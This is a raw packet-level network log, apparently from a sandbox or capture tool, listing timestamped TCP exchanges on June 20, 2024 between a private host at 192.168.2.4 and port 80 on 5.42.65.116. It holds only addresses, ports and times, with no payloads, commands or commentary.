Jun 20, 2024 06:49:11.463613033 CEST	49743	80	192.168.2.4	5.42.65.116
Jun 20, 2024 06:49:11.463632107 CEST	80	49743	5.42.65.116	192.168.2.4
Jun 20, 2024 06:49:11.463646889 CEST	49743	80	192.168.2.4	5.42.65.116
Jun 20, 2024 06:49:11.463679075 CEST	49743	80	192.168.2.4	5.42.65.116
Jun 20, 2024 06:49:11.463757992 CEST	80	49743	5.42.65.116	192.168.2.4
Jun 20, 2024 06:49:11.463790894 CEST	80	49743	5.42.65.116	192.168.2.4
Jun 20, 2024 06:49:11.463808060 CEST	49743	80	192.168.2.4	5.42.65.116
Jun 20, 2024 06:49:11.463845968 CEST	49743	80	192.168.2.4	5.42.65.116
Jun 20, 2024 06:49:11.463855982 CEST	80	49743	5.42.65.116	192.168.2.4
Jun 20, 2024 06:49:11.463905096 CEST	49743	80	192.168.2.4	5.42.65.116
Jun 20, 2024 06:49:11.463912964 CEST	80	49743	5.42.65.116	192.168.2.4
Jun 20, 2024 06:49:11.463946104 CEST	80	49743	5.42.65.116	192.168.2.4
Jun 20, 2024 06:49:11.463959932 CEST	49743	80	192.168.2.4	5.42.65.116
Jun 20, 2024 06:49:11.463980913 CEST	80	49743	5.42.65.116	192.168.2.4
Jun 20, 2024 06:49:11.463994980 CEST	49743	80	192.168.2.4	5.42.65.116
Jun 20, 2024 06:49:11.464015007 CEST	80	49743	5.42.65.116	192.168.2.4
Jun 20, 2024 06:49:11.464026928 CEST	49743	80	192.168.2.4	5.42.65.116
Jun 20, 2024 06:49:11.464051008 CEST	80	49743	5.42.65.116	192.168.2.4
Jun 20, 2024 06:49:11.464071035 CEST	49743	80	192.168.2.4	5.42.65.116
Jun 20, 2024 06:49:11.464086056 CEST	80	49743	5.42.65.116	192.168.2.4
Jun 20, 2024 06:49:11.464098930 CEST	49743	80	192.168.2.4	5.42.65.116
Jun 20, 2024 06:49:11.464139938 CEST	49743	80	192.168.2.4	5.42.65.116
Jun 20, 2024 06:49:11.464139938 CEST	80	49743	5.42.65.116	192.168.2.4
Jun 20, 2024 06:49:11.464173079 CEST	80	49743	5.42.65.116	192.168.2.4
Jun 20, 2024 06:49:11.464191914 CEST	49743	80	192.168.2.4	5.42.65.116
Jun 20, 2024 06:49:11.464206934 CEST	80	49743	5.42.65.116	192.168.2.4
Jun 20, 2024 06:49:11.464222908 CEST	49743	80	192.168.2.4	5.42.65.116
Jun 20, 2024 06:49:11.464241028 CEST	80	49743	5.42.65.116	192.168.2.4
Jun 20, 2024 06:49:11.464261055 CEST	49743	80	192.168.2.4	5.42.65.116
Jun 20, 2024 06:49:11.464277983 CEST	80	49743	5.42.65.116	192.168.2.4
Jun 20, 2024 06:49:11.464301109 CEST	49743	80	192.168.2.4	5.42.65.116
Jun 20, 2024 06:49:11.464307070 CEST	80	49743	5.42.65.116	192.168.2.4
Jun 20, 2024 06:49:11.464333057 CEST	49743	80	192.168.2.4	5.42.65.116
Jun 20, 2024 06:49:11.464365005 CEST	49743	80	192.168.2.4	5.42.65.116
Jun 20, 2024 06:49:11.464751959 CEST	80	49743	5.42.65.116	192.168.2.4
Jun 20, 2024 06:49:11.464806080 CEST	80	49743	5.42.65.116	192.168.2.4
Jun 20, 2024 06:49:11.464812040 CEST	49743	80	192.168.2.4	5.42.65.116
Jun 20, 2024 06:49:11.464853048 CEST	49743	80	192.168.2.4	5.42.65.116
Jun 20, 2024 06:49:11.464855909 CEST	80	49743	5.42.65.116	192.168.2.4
Jun 20, 2024 06:49:11.464889050 CEST	80	49743	5.42.65.116	192.168.2.4
Jun 20, 2024 06:49:11.464904070 CEST	49743	80	192.168.2.4	5.42.65.116
Jun 20, 2024 06:49:11.464936018 CEST	49743	80	192.168.2.4	5.42.65.116
Jun 20, 2024 06:49:11.464941978 CEST	80	49743	5.42.65.116	192.168.2.4
Jun 20, 2024 06:49:11.464977026 CEST	80	49743	5.42.65.116	192.168.2.4
Jun 20, 2024 06:49:11.464992046 CEST	49743	80	192.168.2.4	5.42.65.116
Jun 20, 2024 06:49:11.465029001 CEST	80	49743	5.42.65.116	192.168.2.4
Jun 20, 2024 06:49:11.465044022 CEST	49743	80	192.168.2.4	5.42.65.116
Jun 20, 2024 06:49:11.465080023 CEST	80	49743	5.42.65.116	192.168.2.4
Jun 20, 2024 06:49:11.465080976 CEST	49743	80	192.168.2.4	5.42.65.116
Jun 20, 2024 06:49:11.465114117 CEST	80	49743	5.42.65.116	192.168.2.4
Jun 20, 2024 06:49:11.465128899 CEST	49743	80	192.168.2.4	5.42.65.116
Jun 20, 2024 06:49:11.465162039 CEST	49743	80	192.168.2.4	5.42.65.116
Jun 20, 2024 06:49:11.465167999 CEST	80	49743	5.42.65.116	192.168.2.4
Jun 20, 2024 06:49:11.465202093 CEST	80	49743	5.42.65.116	192.168.2.4
Jun 20, 2024 06:49:11.465218067 CEST	49743	80	192.168.2.4	5.42.65.116
Jun 20, 2024 06:49:11.465234995 CEST	80	49743	5.42.65.116	192.168.2.4
Jun 20, 2024 06:49:11.465248108 CEST	49743	80	192.168.2.4	5.42.65.116
Jun 20, 2024 06:49:11.465282917 CEST	49743	80	192.168.2.4	5.42.65.116
Jun 20, 2024 06:49:11.465289116 CEST	80	49743	5.42.65.116	192.168.2.4
Jun 20, 2024 06:49:11.465323925 CEST	80	49743	5.42.65.116	192.168.2.4
Jun 20, 2024 06:49:11.465336084 CEST	49743	80	192.168.2.4	5.42.65.116
Jun 20, 2024 06:49:11.465359926 CEST	80	49743	5.42.65.116	192.168.2.4
Jun 20, 2024 06:49:11.465382099 CEST	49743	80	192.168.2.4	5.42.65.116
Jun 20, 2024 06:49:11.465394974 CEST	80	49743	5.42.65.116	192.168.2.4
Jun 20, 2024 06:49:11.465410948 CEST	49743	80	192.168.2.4	5.42.65.116
Jun 20, 2024 06:49:11.465424061 CEST	80	49743	5.42.65.116	192.168.2.4
Jun 20, 2024 06:49:11.465444088 CEST	49743	80	192.168.2.4	5.42.65.116
Jun 20, 2024 06:49:11.465459108 CEST	80	49743	5.42.65.116	192.168.2.4
Jun 20, 2024 06:49:11.465461016 CEST	49743	80	192.168.2.4	5.42.65.116
Jun 20, 2024 06:49:11.465492964 CEST	80	49743	5.42.65.116	192.168.2.4
Jun 20, 2024 06:49:11.465507984 CEST	49743	80	192.168.2.4	5.42.65.116
Jun 20, 2024 06:49:11.465527058 CEST	80	49743	5.42.65.116	192.168.2.4
Jun 20, 2024 06:49:11.465539932 CEST	49743	80	192.168.2.4	5.42.65.116
Jun 20, 2024 06:49:11.465560913 CEST	80	49743	5.42.65.116	192.168.2.4
Jun 20, 2024 06:49:11.465575933 CEST	49743	80	192.168.2.4	5.42.65.116
Jun 20, 2024 06:49:11.465595007 CEST	80	49743	5.42.65.116	192.168.2.4
Jun 20, 2024 06:49:11.465609074 CEST	49743	80	192.168.2.4	5.42.65.116
Jun 20, 2024 06:49:11.465629101 CEST	80	49743	5.42.65.116	192.168.2.4
Jun 20, 2024 06:49:11.465650082 CEST	49743	80	192.168.2.4	5.42.65.116
Jun 20, 2024 06:49:11.465683937 CEST	49743	80	192.168.2.4	5.42.65.116
Jun 20, 2024 06:49:11.467226982 CEST	80	49743	5.42.65.116	192.168.2.4
Jun 20, 2024 06:49:11.467256069 CEST	80	49743	5.42.65.116	192.168.2.4
Jun 20, 2024 06:49:11.467289925 CEST	49743	80	192.168.2.4	5.42.65.116
Jun 20, 2024 06:49:11.467309952 CEST	49743	80	192.168.2.4	5.42.65.116
Jun 20, 2024 06:49:11.467310905 CEST	80	49743	5.42.65.116	192.168.2.4
Jun 20, 2024 06:49:11.467344046 CEST	80	49743	5.42.65.116	192.168.2.4
Jun 20, 2024 06:49:11.467361927 CEST	49743	80	192.168.2.4	5.42.65.116
Jun 20, 2024 06:49:11.467379093 CEST	80	49743	5.42.65.116	192.168.2.4
Jun 20, 2024 06:49:11.467392921 CEST	49743	80	192.168.2.4	5.42.65.116
Jun 20, 2024 06:49:11.467426062 CEST	49743	80	192.168.2.4	5.42.65.116
Jun 20, 2024 06:49:11.467432022 CEST	80	49743	5.42.65.116	192.168.2.4
Jun 20, 2024 06:49:11.467467070 CEST	80	49743	5.42.65.116	192.168.2.4
Jun 20, 2024 06:49:11.467480898 CEST	49743	80	192.168.2.4	5.42.65.116
Jun 20, 2024 06:49:11.467519045 CEST	80	49743	5.42.65.116	192.168.2.4
Jun 20, 2024 06:49:11.467521906 CEST	49743	80	192.168.2.4	5.42.65.116
Jun 20, 2024 06:49:11.467554092 CEST	80	49743	5.42.65.116	192.168.2.4
Jun 20, 2024 06:49:11.467577934 CEST	49743	80	192.168.2.4	5.42.65.116
Jun 20, 2024 06:49:11.467607021 CEST	49743	80	192.168.2.4	5.42.65.116
Jun 20, 2024 06:49:11.467607021 CEST	80	49743	5.42.65.116	192.168.2.4
Jun 20, 2024 06:49:11.467643023 CEST	80	49743	5.42.65.116	192.168.2.4
Jun 20, 2024 06:49:11.467659950 CEST	49743	80	192.168.2.4	5.42.65.116
Jun 20, 2024 06:49:11.467675924 CEST	80	49743	5.42.65.116	192.168.2.4
Jun 20, 2024 06:49:11.467690945 CEST	49743	80	192.168.2.4	5.42.65.116
Jun 20, 2024 06:49:11.467721939 CEST	49743	80	192.168.2.4	5.42.65.116
Jun 20, 2024 06:49:11.467730045 CEST	80	49743	5.42.65.116	192.168.2.4
Jun 20, 2024 06:49:11.467758894 CEST	80	49743	5.42.65.116	192.168.2.4
Jun 20, 2024 06:49:11.467777014 CEST	49743	80	192.168.2.4	5.42.65.116
Jun 20, 2024 06:49:11.467799902 CEST	80	49743	5.42.65.116	192.168.2.4
Jun 20, 2024 06:49:11.467807055 CEST	49743	80	192.168.2.4	5.42.65.116
Jun 20, 2024 06:49:11.467852116 CEST	80	49743	5.42.65.116	192.168.2.4
Jun 20, 2024 06:49:11.467854977 CEST	49743	80	192.168.2.4	5.42.65.116
Jun 20, 2024 06:49:11.467900038 CEST	49743	80	192.168.2.4	5.42.65.116
Jun 20, 2024 06:49:11.467904091 CEST	80	49743	5.42.65.116	192.168.2.4
Jun 20, 2024 06:49:11.467941046 CEST	80	49743	5.42.65.116	192.168.2.4
Jun 20, 2024 06:49:11.467952013 CEST	49743	80	192.168.2.4	5.42.65.116
Jun 20, 2024 06:49:11.467972994 CEST	80	49743	5.42.65.116	192.168.2.4
Jun 20, 2024 06:49:11.467986107 CEST	49743	80	192.168.2.4	5.42.65.116
Jun 20, 2024 06:49:11.468008041 CEST	80	49743	5.42.65.116	192.168.2.4
Jun 20, 2024 06:49:11.468020916 CEST	49743	80	192.168.2.4	5.42.65.116
Jun 20, 2024 06:49:11.468041897 CEST	80	49743	5.42.65.116	192.168.2.4
Jun 20, 2024 06:49:11.468056917 CEST	49743	80	192.168.2.4	5.42.65.116
Jun 20, 2024 06:49:11.468075037 CEST	80	49743	5.42.65.116	192.168.2.4
Jun 20, 2024 06:49:11.468089104 CEST	49743	80	192.168.2.4	5.42.65.116
Jun 20, 2024 06:49:11.468123913 CEST	49743	80	192.168.2.4	5.42.65.116
Jun 20, 2024 06:49:11.468126059 CEST	80	49743	5.42.65.116	192.168.2.4
Jun 20, 2024 06:49:11.468159914 CEST	80	49743	5.42.65.116	192.168.2.4
Jun 20, 2024 06:49:11.468178988 CEST	49743	80	192.168.2.4	5.42.65.116
Jun 20, 2024 06:49:11.468193054 CEST	80	49743	5.42.65.116	192.168.2.4
Jun 20, 2024 06:49:11.468205929 CEST	49743	80	192.168.2.4	5.42.65.116
Jun 20, 2024 06:49:11.468226910 CEST	80	49743	5.42.65.116	192.168.2.4
Jun 20, 2024 06:49:11.468240023 CEST	49743	80	192.168.2.4	5.42.65.116
Jun 20, 2024 06:49:11.468262911 CEST	80	49743	5.42.65.116	192.168.2.4
Jun 20, 2024 06:49:11.468276978 CEST	49743	80	192.168.2.4	5.42.65.116
Jun 20, 2024 06:49:11.468297958 CEST	80	49743	5.42.65.116	192.168.2.4
Jun 20, 2024 06:49:11.468312025 CEST	49743	80	192.168.2.4	5.42.65.116
Jun 20, 2024 06:49:11.468333006 CEST	80	49743	5.42.65.116	192.168.2.4
Jun 20, 2024 06:49:11.468346119 CEST	49743	80	192.168.2.4	5.42.65.116
Jun 20, 2024 06:49:11.468384981 CEST	80	49743	5.42.65.116	192.168.2.4
Jun 20, 2024 06:49:11.468400955 CEST	49743	80	192.168.2.4	5.42.65.116
Jun 20, 2024 06:49:11.468420029 CEST	80	49743	5.42.65.116	192.168.2.4
Jun 20, 2024 06:49:11.468436003 CEST	49743	80	192.168.2.4	5.42.65.116
Jun 20, 2024 06:49:11.468453884 CEST	80	49743	5.42.65.116	192.168.2.4
Jun 20, 2024 06:49:11.468486071 CEST	49743	80	192.168.2.4	5.42.65.116
Jun 20, 2024 06:49:11.468507051 CEST	80	49743	5.42.65.116	192.168.2.4
Jun 20, 2024 06:49:11.468514919 CEST	49743	80	192.168.2.4	5.42.65.116
Jun 20, 2024 06:49:11.468540907 CEST	80	49743	5.42.65.116	192.168.2.4
Jun 20, 2024 06:49:11.468555927 CEST	49743	80	192.168.2.4	5.42.65.116
Jun 20, 2024 06:49:11.468574047 CEST	80	49743	5.42.65.116	192.168.2.4
Jun 20, 2024 06:49:11.468595982 CEST	49743	80	192.168.2.4	5.42.65.116
Jun 20, 2024 06:49:11.468609095 CEST	80	49743	5.42.65.116	192.168.2.4
Jun 20, 2024 06:49:11.468625069 CEST	49743	80	192.168.2.4	5.42.65.116
Jun 20, 2024 06:49:11.468643904 CEST	80	49743	5.42.65.116	192.168.2.4
Jun 20, 2024 06:49:11.468658924 CEST	49743	80	192.168.2.4	5.42.65.116
Jun 20, 2024 06:49:11.468677998 CEST	80	49743	5.42.65.116	192.168.2.4
Jun 20, 2024 06:49:11.468693018 CEST	49743	80	192.168.2.4	5.42.65.116
Jun 20, 2024 06:49:11.468724012 CEST	49743	80	192.168.2.4	5.42.65.116
Jun 20, 2024 06:49:11.553574085 CEST	80	49743	5.42.65.116	192.168.2.4
Jun 20, 2024 06:49:11.553642988 CEST	80	49743	5.42.65.116	192.168.2.4
Jun 20, 2024 06:49:11.553669930 CEST	80	49743	5.42.65.116	192.168.2.4
Jun 20, 2024 06:49:11.553687096 CEST	80	49743	5.42.65.116	192.168.2.4
Jun 20, 2024 06:49:11.553719044 CEST	80	49743	5.42.65.116	192.168.2.4
Jun 20, 2024 06:49:11.553774118 CEST	80	49743	5.42.65.116	192.168.2.4
Jun 20, 2024 06:49:11.553788900 CEST	49743	80	192.168.2.4	5.42.65.116
Jun 20, 2024 06:49:11.553807974 CEST	80	49743	5.42.65.116	192.168.2.4
Jun 20, 2024 06:49:11.553827047 CEST	49743	80	192.168.2.4	5.42.65.116
Jun 20, 2024 06:49:11.553842068 CEST	80	49743	5.42.65.116	192.168.2.4
Jun 20, 2024 06:49:11.553853989 CEST	49743	80	192.168.2.4	5.42.65.116
Jun 20, 2024 06:49:11.553877115 CEST	80	49743	5.42.65.116	192.168.2.4
Jun 20, 2024 06:49:11.553890944 CEST	49743	80	192.168.2.4	5.42.65.116
Jun 20, 2024 06:49:11.553910971 CEST	80	49743	5.42.65.116	192.168.2.4
Jun 20, 2024 06:49:11.553934097 CEST	49743	80	192.168.2.4	5.42.65.116
Jun 20, 2024 06:49:11.553944111 CEST	80	49743	5.42.65.116	192.168.2.4
Jun 20, 2024 06:49:11.553966999 CEST	49743	80	192.168.2.4	5.42.65.116
Jun 20, 2024 06:49:11.553977013 CEST	80	49743	5.42.65.116	192.168.2.4
Jun 20, 2024 06:49:11.553991079 CEST	49743	80	192.168.2.4	5.42.65.116
Jun 20, 2024 06:49:11.554012060 CEST	80	49743	5.42.65.116	192.168.2.4
Jun 20, 2024 06:49:11.554027081 CEST	49743	80	192.168.2.4	5.42.65.116
Jun 20, 2024 06:49:11.554048061 CEST	80	49743	5.42.65.116	192.168.2.4
Jun 20, 2024 06:49:11.554059029 CEST	49743	80	192.168.2.4	5.42.65.116
Jun 20, 2024 06:49:11.554096937 CEST	49743	80	192.168.2.4	5.42.65.116
Jun 20, 2024 06:49:11.554368019 CEST	80	49743	5.42.65.116	192.168.2.4
Jun 20, 2024 06:49:11.554425001 CEST	80	49743	5.42.65.116	192.168.2.4
Jun 20, 2024 06:49:11.554436922 CEST	49743	80	192.168.2.4	5.42.65.116
Jun 20, 2024 06:49:11.554462910 CEST	80	49743	5.42.65.116	192.168.2.4
Jun 20, 2024 06:49:11.554476023 CEST	49743	80	192.168.2.4	5.42.65.116
Jun 20, 2024 06:49:11.554512024 CEST	49743	80	192.168.2.4	5.42.65.116
Jun 20, 2024 06:49:11.554531097 CEST	80	49743	5.42.65.116	192.168.2.4
Jun 20, 2024 06:49:11.554563999 CEST	80	49743	5.42.65.116	192.168.2.4
Jun 20, 2024 06:49:11.554600954 CEST	80	49743	5.42.65.116	192.168.2.4
Jun 20, 2024 06:49:11.554655075 CEST	80	49743	5.42.65.116	192.168.2.4
Jun 20, 2024 06:49:11.554663897 CEST	49743	80	192.168.2.4	5.42.65.116
Jun 20, 2024 06:49:11.554688931 CEST	49743	80	192.168.2.4	5.42.65.116
Jun 20, 2024 06:49:11.554688931 CEST	49743	80	192.168.2.4	5.42.65.116
Jun 20, 2024 06:49:11.554709911 CEST	80	49743	5.42.65.116	192.168.2.4
Jun 20, 2024 06:49:11.554716110 CEST	49743	80	192.168.2.4	5.42.65.116
Jun 20, 2024 06:49:11.554738998 CEST	80	49743	5.42.65.116	192.168.2.4
Jun 20, 2024 06:49:11.554761887 CEST	49743	80	192.168.2.4	5.42.65.116
Jun 20, 2024 06:49:11.554773092 CEST	80	49743	5.42.65.116	192.168.2.4
Jun 20, 2024 06:49:11.554790020 CEST	49743	80	192.168.2.4	5.42.65.116
Jun 20, 2024 06:49:11.554824114 CEST	49743	80	192.168.2.4	5.42.65.116
Jun 20, 2024 06:49:11.554826975 CEST	80	49743	5.42.65.116	192.168.2.4
Jun 20, 2024 06:49:11.554857969 CEST	80	49743	5.42.65.116	192.168.2.4
Jun 20, 2024 06:49:11.554882050 CEST	49743	80	192.168.2.4	5.42.65.116
Jun 20, 2024 06:49:11.554893970 CEST	80	49743	5.42.65.116	192.168.2.4
Jun 20, 2024 06:49:11.554913998 CEST	49743	80	192.168.2.4	5.42.65.116
Jun 20, 2024 06:49:11.554946899 CEST	80	49743	5.42.65.116	192.168.2.4
Jun 20, 2024 06:49:11.554950953 CEST	49743	80	192.168.2.4	5.42.65.116
Jun 20, 2024 06:49:11.554980993 CEST	80	49743	5.42.65.116	192.168.2.4
Jun 20, 2024 06:49:11.555007935 CEST	49743	80	192.168.2.4	5.42.65.116
Jun 20, 2024 06:49:11.555015087 CEST	80	49743	5.42.65.116	192.168.2.4
Jun 20, 2024 06:49:11.555025101 CEST	49743	80	192.168.2.4	5.42.65.116
Jun 20, 2024 06:49:11.555062056 CEST	49743	80	192.168.2.4	5.42.65.116
Jun 20, 2024 06:49:11.555068016 CEST	80	49743	5.42.65.116	192.168.2.4
Jun 20, 2024 06:49:11.555109024 CEST	80	49743	5.42.65.116	192.168.2.4
Jun 20, 2024 06:49:11.555119038 CEST	49743	80	192.168.2.4	5.42.65.116
Jun 20, 2024 06:49:11.555141926 CEST	80	49743	5.42.65.116	192.168.2.4
Jun 20, 2024 06:49:11.555157900 CEST	49743	80	192.168.2.4	5.42.65.116
Jun 20, 2024 06:49:11.555176020 CEST	80	49743	5.42.65.116	192.168.2.4
Jun 20, 2024 06:49:11.555191994 CEST	49743	80	192.168.2.4	5.42.65.116
Jun 20, 2024 06:49:11.555212975 CEST	80	49743	5.42.65.116	192.168.2.4
Jun 20, 2024 06:49:11.555227995 CEST	49743	80	192.168.2.4	5.42.65.116
Jun 20, 2024 06:49:11.555244923 CEST	80	49743	5.42.65.116	192.168.2.4
Jun 20, 2024 06:49:11.555269003 CEST	49743	80	192.168.2.4	5.42.65.116
Jun 20, 2024 06:49:11.555279016 CEST	80	49743	5.42.65.116	192.168.2.4
Jun 20, 2024 06:49:11.555288076 CEST	49743	80	192.168.2.4	5.42.65.116
Jun 20, 2024 06:49:11.555309057 CEST	80	49743	5.42.65.116	192.168.2.4
Jun 20, 2024 06:49:11.555325985 CEST	49743	80	192.168.2.4	5.42.65.116
Jun 20, 2024 06:49:11.555341959 CEST	80	49743	5.42.65.116	192.168.2.4
Jun 20, 2024 06:49:11.555356979 CEST	49743	80	192.168.2.4	5.42.65.116
Jun 20, 2024 06:49:11.555377007 CEST	80	49743	5.42.65.116	192.168.2.4
Jun 20, 2024 06:49:11.555391073 CEST	49743	80	192.168.2.4	5.42.65.116
Jun 20, 2024 06:49:11.555409908 CEST	80	49743	5.42.65.116	192.168.2.4
Jun 20, 2024 06:49:11.555423975 CEST	49743	80	192.168.2.4	5.42.65.116
Jun 20, 2024 06:49:11.555444956 CEST	80	49743	5.42.65.116	192.168.2.4
Jun 20, 2024 06:49:11.555458069 CEST	49743	80	192.168.2.4	5.42.65.116
Jun 20, 2024 06:49:11.555478096 CEST	80	49743	5.42.65.116	192.168.2.4
Jun 20, 2024 06:49:11.555495024 CEST	49743	80	192.168.2.4	5.42.65.116
Jun 20, 2024 06:49:11.555512905 CEST	80	49743	5.42.65.116	192.168.2.4
Jun 20, 2024 06:49:11.555538893 CEST	49743	80	192.168.2.4	5.42.65.116
Jun 20, 2024 06:49:11.555548906 CEST	80	49743	5.42.65.116	192.168.2.4
Jun 20, 2024 06:49:11.555557013 CEST	49743	80	192.168.2.4	5.42.65.116
Jun 20, 2024 06:49:11.555583954 CEST	80	49743	5.42.65.116	192.168.2.4
Jun 20, 2024 06:49:11.555603027 CEST	49743	80	192.168.2.4	5.42.65.116
Jun 20, 2024 06:49:11.555613995 CEST	80	49743	5.42.65.116	192.168.2.4
Jun 20, 2024 06:49:11.555636883 CEST	49743	80	192.168.2.4	5.42.65.116
Jun 20, 2024 06:49:11.555660009 CEST	49743	80	192.168.2.4	5.42.65.116
Jun 20, 2024 06:49:11.555671930 CEST	80	49743	5.42.65.116	192.168.2.4
Jun 20, 2024 06:49:11.555706978 CEST	80	49743	5.42.65.116	192.168.2.4
Jun 20, 2024 06:49:11.555721998 CEST	49743	80	192.168.2.4	5.42.65.116
Jun 20, 2024 06:49:11.555741072 CEST	80	49743	5.42.65.116	192.168.2.4
Jun 20, 2024 06:49:11.555753946 CEST	49743	80	192.168.2.4	5.42.65.116
Jun 20, 2024 06:49:11.555773973 CEST	80	49743	5.42.65.116	192.168.2.4
Jun 20, 2024 06:49:11.555793047 CEST	49743	80	192.168.2.4	5.42.65.116
Jun 20, 2024 06:49:11.555809975 CEST	80	49743	5.42.65.116	192.168.2.4
Jun 20, 2024 06:49:11.555820942 CEST	49743	80	192.168.2.4	5.42.65.116
Jun 20, 2024 06:49:11.555867910 CEST	49743	80	192.168.2.4	5.42.65.116
Jun 20, 2024 06:49:11.555879116 CEST	80	49743	5.42.65.116	192.168.2.4
Jun 20, 2024 06:49:11.555931091 CEST	49743	80	192.168.2.4	5.42.65.116
Jun 20, 2024 06:49:11.555941105 CEST	80	49743	5.42.65.116	192.168.2.4
Jun 20, 2024 06:49:11.555994034 CEST	80	49743	5.42.65.116	192.168.2.4
Jun 20, 2024 06:49:11.555996895 CEST	49743	80	192.168.2.4	5.42.65.116
Jun 20, 2024 06:49:11.556051016 CEST	49743	80	192.168.2.4	5.42.65.116
Jun 20, 2024 06:49:11.556061029 CEST	80	49743	5.42.65.116	192.168.2.4
Jun 20, 2024 06:49:11.556092978 CEST	80	49743	5.42.65.116	192.168.2.4
Jun 20, 2024 06:49:11.556111097 CEST	49743	80	192.168.2.4	5.42.65.116
Jun 20, 2024 06:49:11.556127071 CEST	80	49743	5.42.65.116	192.168.2.4
Jun 20, 2024 06:49:11.556142092 CEST	49743	80	192.168.2.4	5.42.65.116
Jun 20, 2024 06:49:11.556162119 CEST	80	49743	5.42.65.116	192.168.2.4
Jun 20, 2024 06:49:11.556174040 CEST	49743	80	192.168.2.4	5.42.65.116
Jun 20, 2024 06:49:11.556194067 CEST	80	49743	5.42.65.116	192.168.2.4
Jun 20, 2024 06:49:11.556209087 CEST	49743	80	192.168.2.4	5.42.65.116
Jun 20, 2024 06:49:11.556240082 CEST	49743	80	192.168.2.4	5.42.65.116
Jun 20, 2024 06:49:11.556983948 CEST	80	49743	5.42.65.116	192.168.2.4
Jun 20, 2024 06:49:11.557051897 CEST	49743	80	192.168.2.4	5.42.65.116
Jun 20, 2024 06:49:11.557054043 CEST	80	49743	5.42.65.116	192.168.2.4
Jun 20, 2024 06:49:11.557106972 CEST	80	49743	5.42.65.116	192.168.2.4
Jun 20, 2024 06:49:11.557109118 CEST	49743	80	192.168.2.4	5.42.65.116
Jun 20, 2024 06:49:11.557141066 CEST	80	49743	5.42.65.116	192.168.2.4
Jun 20, 2024 06:49:11.557156086 CEST	49743	80	192.168.2.4	5.42.65.116
Jun 20, 2024 06:49:11.557174921 CEST	80	49743	5.42.65.116	192.168.2.4
Jun 20, 2024 06:49:11.557189941 CEST	49743	80	192.168.2.4	5.42.65.116
Jun 20, 2024 06:49:11.557208061 CEST	80	49743	5.42.65.116	192.168.2.4
Jun 20, 2024 06:49:11.557223082 CEST	49743	80	192.168.2.4	5.42.65.116
Jun 20, 2024 06:49:11.557243109 CEST	80	49743	5.42.65.116	192.168.2.4
Jun 20, 2024 06:49:11.557256937 CEST	49743	80	192.168.2.4	5.42.65.116
Jun 20, 2024 06:49:11.557276011 CEST	80	49743	5.42.65.116	192.168.2.4
Jun 20, 2024 06:49:11.557290077 CEST	49743	80	192.168.2.4	5.42.65.116
Jun 20, 2024 06:49:11.557312965 CEST	80	49743	5.42.65.116	192.168.2.4
Jun 20, 2024 06:49:11.557327032 CEST	49743	80	192.168.2.4	5.42.65.116
Jun 20, 2024 06:49:11.557346106 CEST	80	49743	5.42.65.116	192.168.2.4
Jun 20, 2024 06:49:11.557360888 CEST	49743	80	192.168.2.4	5.42.65.116
Jun 20, 2024 06:49:11.557383060 CEST	80	49743	5.42.65.116	192.168.2.4
Jun 20, 2024 06:49:11.557389021 CEST	49743	80	192.168.2.4	5.42.65.116
Jun 20, 2024 06:49:11.557415962 CEST	80	49743	5.42.65.116	192.168.2.4
Jun 20, 2024 06:49:11.557431936 CEST	49743	80	192.168.2.4	5.42.65.116
Jun 20, 2024 06:49:11.557450056 CEST	80	49743	5.42.65.116	192.168.2.4
Jun 20, 2024 06:49:11.557463884 CEST	49743	80	192.168.2.4	5.42.65.116
Jun 20, 2024 06:49:11.557482958 CEST	80	49743	5.42.65.116	192.168.2.4
Jun 20, 2024 06:49:11.557507992 CEST	49743	80	192.168.2.4	5.42.65.116
Jun 20, 2024 06:49:11.557518005 CEST	80	49743	5.42.65.116	192.168.2.4
Jun 20, 2024 06:49:11.557540894 CEST	49743	80	192.168.2.4	5.42.65.116
Jun 20, 2024 06:49:11.557564974 CEST	49743	80	192.168.2.4	5.42.65.116
Jun 20, 2024 06:49:11.559109926 CEST	80	49743	5.42.65.116	192.168.2.4
Jun 20, 2024 06:49:11.559161901 CEST	80	49743	5.42.65.116	192.168.2.4
Jun 20, 2024 06:49:11.559166908 CEST	49743	80	192.168.2.4	5.42.65.116
Jun 20, 2024 06:49:11.559194088 CEST	80	49743	5.42.65.116	192.168.2.4
Jun 20, 2024 06:49:11.559210062 CEST	49743	80	192.168.2.4	5.42.65.116
Jun 20, 2024 06:49:11.559238911 CEST	49743	80	192.168.2.4	5.42.65.116
Jun 20, 2024 06:49:11.559287071 CEST	80	49743	5.42.65.116	192.168.2.4
Jun 20, 2024 06:49:11.559340000 CEST	80	49743	5.42.65.116	192.168.2.4
Jun 20, 2024 06:49:11.559346914 CEST	49743	80	192.168.2.4	5.42.65.116
Jun 20, 2024 06:49:11.559372902 CEST	80	49743	5.42.65.116	192.168.2.4
Jun 20, 2024 06:49:11.559387922 CEST	49743	80	192.168.2.4	5.42.65.116
Jun 20, 2024 06:49:11.559406996 CEST	80	49743	5.42.65.116	192.168.2.4
Jun 20, 2024 06:49:11.559421062 CEST	49743	80	192.168.2.4	5.42.65.116
Jun 20, 2024 06:49:11.559442997 CEST	80	49743	5.42.65.116	192.168.2.4
Jun 20, 2024 06:49:11.559458971 CEST	49743	80	192.168.2.4	5.42.65.116
Jun 20, 2024 06:49:11.559475899 CEST	80	49743	5.42.65.116	192.168.2.4
Jun 20, 2024 06:49:11.559489965 CEST	49743	80	192.168.2.4	5.42.65.116
Jun 20, 2024 06:49:11.559526920 CEST	80	49743	5.42.65.116	192.168.2.4
Jun 20, 2024 06:49:11.559533119 CEST	49743	80	192.168.2.4	5.42.65.116
Jun 20, 2024 06:49:11.559561014 CEST	80	49743	5.42.65.116	192.168.2.4
Jun 20, 2024 06:49:11.559576988 CEST	49743	80	192.168.2.4	5.42.65.116
Jun 20, 2024 06:49:11.559595108 CEST	80	49743	5.42.65.116	192.168.2.4
Jun 20, 2024 06:49:11.559608936 CEST	49743	80	192.168.2.4	5.42.65.116
Jun 20, 2024 06:49:11.559628963 CEST	80	49743	5.42.65.116	192.168.2.4
Jun 20, 2024 06:49:11.559643984 CEST	49743	80	192.168.2.4	5.42.65.116
Jun 20, 2024 06:49:11.559678078 CEST	49743	80	192.168.2.4	5.42.65.116
Jun 20, 2024 06:49:11.559679985 CEST	80	49743	5.42.65.116	192.168.2.4
Jun 20, 2024 06:49:11.559712887 CEST	80	49743	5.42.65.116	192.168.2.4
Jun 20, 2024 06:49:11.559730053 CEST	49743	80	192.168.2.4	5.42.65.116
Jun 20, 2024 06:49:11.559745073 CEST	80	49743	5.42.65.116	192.168.2.4
Jun 20, 2024 06:49:11.559767008 CEST	49743	80	192.168.2.4	5.42.65.116
